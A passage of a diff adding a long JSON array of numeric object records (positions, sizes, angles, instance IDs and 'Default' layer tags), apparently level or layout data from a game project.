+ 0,
+ []
+ ],
+ 531,
+ 4525,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 130,
+ 553,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 4524,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5201,
+ 840,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 4523,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4953,
+ 840,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5972,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4093,
+ 665,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5973,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3741,
+ 665,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5974,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4206,
+ 681,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5975,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4461,
+ 658,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5976,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2887,
+ 524,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5977,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3117,
+ 516,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5978,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3236,
+ 807,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5979,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3381,
+ 795,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5980,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3022,
+ 330,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5981,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3209,
+ 331,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5982,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4557.07275390625,
+ 709.4039916992188,
+ 0,
+ 144,
+ 93,
+ 0,
+ 0.1818251013755798,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 5987,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3496,
+ 771,
+ 0,
+ 144,
+ 93,
+ 0,
+ -0.9805812835693359,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 5988,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2665,
+ 334,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5991,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1342,
+ 766,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5993,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 528,
+ 760,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5994,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 644,
+ 772,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5995,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 259,
+ 569,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5997,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1020,
+ 742,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 6002,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5083,
+ 762,
+ 0,
+ 71,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.9718309640884399,
+ 0.5185185074806213,
+ 0,
+ 0,
+ []
+ ],
+ 351,
+ 6003,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 3,
+ 0
+ ],
+ [
+ 0,
+ 0,
+ 27,
+ "5083,800",
+ 0,
+ 1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5085,
+ 778,
+ 0,
+ 26,
+ 123,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5040650367736816,
+ 0,
+ 0,
+ []
+ ],
+ 350,
+ 6004,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -492,
+ 1003,
+ 0,
+ 270,
+ 204,
+ 0,
+ 0,
+ 1,
+ 0.4666666686534882,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 333,
+ 6007,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -849,
+ 1068,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 311,
+ 6008,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1179,
+ 949,
+ 0,
+ 514,
+ 386,
+ 0,
+ 0.4363323152065277,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 321,
+ 6009,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1370,
+ 4830,
+ 0,
+ 31,
+ 31,
+ 0,
+ 0,
+ 1,
+ 0.5161290168762207,
+ 0.5161290168762207,
+ 0,
+ 0,
+ []
+ ],
+ 199,
+ 6010,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 0
+ ]
+ ],
+ [
+ [
+ -1068,
+ 3578,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 202,
+ 6011,
+ [],
+ [],
+ [
+ 20,
+ 360,
+ 1,
+ 200,
+ 32,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1037,
+ 3220,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 207,
+ 6012,
+ [],
+ [],
+ [
+ 50,
+ 360,
+ 1,
+ 200,
+ 15,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 100,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1382,
+ 615,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 313,
+ 6013,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -138,
+ -345,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 318,
+ 6014,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -365,
+ 1005,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 319,
+ 6015,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1194,
+ 617,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 310,
+ 6016,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -896,
+ 256,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 322,
+ 6017,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 140,
+ 563,
+ 0,
+ 128,
+ 128,
+ 0,
+ 3.141592741012573,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 328,
+ 6018,
+ [],
+ [
+ []
+ ],
+ [
+ 80,
+ 30,
+ 0,
+ 200,
+ 8,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 35,
+ 0,
+ -150,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 0.5
+ ]
+ ],
+ [
+ [
+ 138,
+ 563,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 329,
+ 6019,
+ [],
+ [
+ []
+ ],
+ [
+ 80,
+ 30,
+ 0,
+ 200,
+ 8,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 35,
+ 0,
+ -150,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 0.5
+ ]
+ ],
+ [
+ [
+ 140,
+ 538,
+ 0,
+ 61,
+ 62,
+ 0,
+ 0,
+ 1,
+ 0.5081967115402222,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 324,
+ 6020,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 400,
+ 800,
+ 50,
+ 400,
+ 600,
+ 1000,
+ 0,
+ 0,
+ 0,
+ 1
+ ],
+ [
+ 0,
+ 6,
+ 0,
+ 0.2,
+ 0,
+ 0,
+ 0,
+ 100,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 140,
+ 539,
+ 0,
+ 56,
+ 52,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 344,
+ 6021,
+ [],
+ [
+ [],
+ [
+ 0,
+ 2,
+ 1,
+ 1,
+ 0.5,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5086,
+ 786,
+ 0,
+ 13,
+ 1512,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 352,
+ 6022,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -445,
+ 240,
+ 0,
+ 128,
+ 128,
+ 0,
+ 3.141592741012573,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 354,
+ 6023,
+ [],
+ [],
+ [
+ 50,
+ 360,
+ 1,
+ 200,
+ 20,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ -150,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -413,
+ 630,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 311,
+ 6024,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 130.9820098876953,
+ 706.6041870117188,
+ 0,
+ 441.6896057128906,
+ 277.7109375,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6025,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2668,
+ 1122,
+ 0,
+ 5442,
+ 335,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 358,
+ 6026,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -194,
+ 81,
+ 0,
+ 416,
+ 33,
+ 0,
+ 1.570796370506287,
+ 1,
+ 0.01339285727590323,
+ 0.2121212184429169,
+ 0,
+ 0,
+ []
+ ],
+ 372,
+ 6033,
+ [],
+ [
+ [
+ 0,
+ 0,
+ 0,
+ 0.5,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -202,
+ 285,
+ 0,
+ 395,
+ 9,
+ 0,
+ 1.570796370506287,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 373,
+ 6034,
+ [],
+ [
+ [],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 769,
+ 1882,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 6035,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3120.0810546875,
+ 295.099365234375,
+ 0,
+ 57.18288803100586,
+ 57.18288803100586,
+ 0,
+ 0,
+ 1,
+ 0.5070422291755676,
+ 0.5070422291755676,
+ 0,
+ 0,
+ []
+ ],
+ 375,
+ 6036,
+ [
+ [
+ 0
+ ]
+ ],
+ [
+ [
+ 330,
+ 1500,
+ 1500,
+ 400,
+ 2000,
+ 1000,
+ 0,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2974.655029296875,
+ 262.1217956542969,
+ 0,
+ 24.95556640625,
+ 140.5006713867188,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 376,
+ 6037,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3250.30517578125,
+ 261.1455688476563,
+ 0,
+ 25.62890625,
+ 135.7992553710938,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 377,
+ 6038,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3120.0810546875,
+ 283.099365234375,
+ 0,
+ 49.11710357666016,
+ 32.80466461181641,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 378,
+ 6039,
+ [],
+ [
+ []
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3099.0810546875,
+ 298.099365234375,
+ 0,
+ 9.54636001586914,
+ 42.17941665649414,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 379,
+ 6040,
+ [],
+ [
+ []
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3141.0810546875,
+ 320.099365234375,
+ 0,
+ 9.54636001586914,
+ 43.21585464477539,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 379,
+ 6041,
+ [],
+ [
+ []
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -377,
+ 1413,
+ 0,
+ 197,
+ 222,
+ 0,
+ 0,
+ 1,
+ 0.4670050740242004,
+ 0.5540540814399719,
+ 0,
+ 0,
+ []
+ ],
+ 380,
+ 6042,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 0
+ ]
+ ],
+ [
+ [
+ 31,
+ 608,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6043,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -341,
+ 800,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 477,
+ 6044,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 31,
+ 704,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6045,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 31,
+ 799,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 6046,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2184,
+ 2331,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 6047,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 123,
+ 608,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6048,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 215,
+ 608,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6049,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 307,
+ 608,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6050,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 399,
+ 704,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6051,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 123,
+ 704,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6052,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 215,
+ 704,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6053,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 307,
+ 704,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6054,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 399,
+ 799,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6055,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 491,
+ 799,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6056,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 123,
+ 799,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 6057,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 215,
+ 799,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 6058,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 307,
+ 799,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 6059,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 583,
+ 799,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6060,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 675,
+ 799,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6061,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1101.8134765625,
+ 799,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6062,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1193.8134765625,
+ 799,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6063,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1285.8134765625,
+ 799,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6064,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 675,
+ 894,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6065,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 583,
+ 894,
+ 0,
+ 96,
